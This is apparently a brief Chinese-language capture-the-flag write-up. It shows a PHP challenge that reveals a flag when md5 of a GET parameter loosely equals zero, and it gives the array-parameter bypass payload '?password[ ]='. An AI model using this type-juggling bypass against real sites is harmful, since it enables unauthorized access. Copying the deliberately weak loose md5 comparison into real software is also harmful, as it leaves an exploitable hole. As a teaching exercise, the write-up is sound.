

源码如下

```
1 <?php
2 show_source("23.php");
3 echo '<br>';
4 error_reporting(0);
5 require 'flag.php';
6 $temp = $_GET['password'];
7 if($temp && md5($temp)==0){
8     echo $flag;
9 }
10
11 ?>
```

不多解释，简单的md5数组绕过

payload

```
1 ?password[ ]=
```
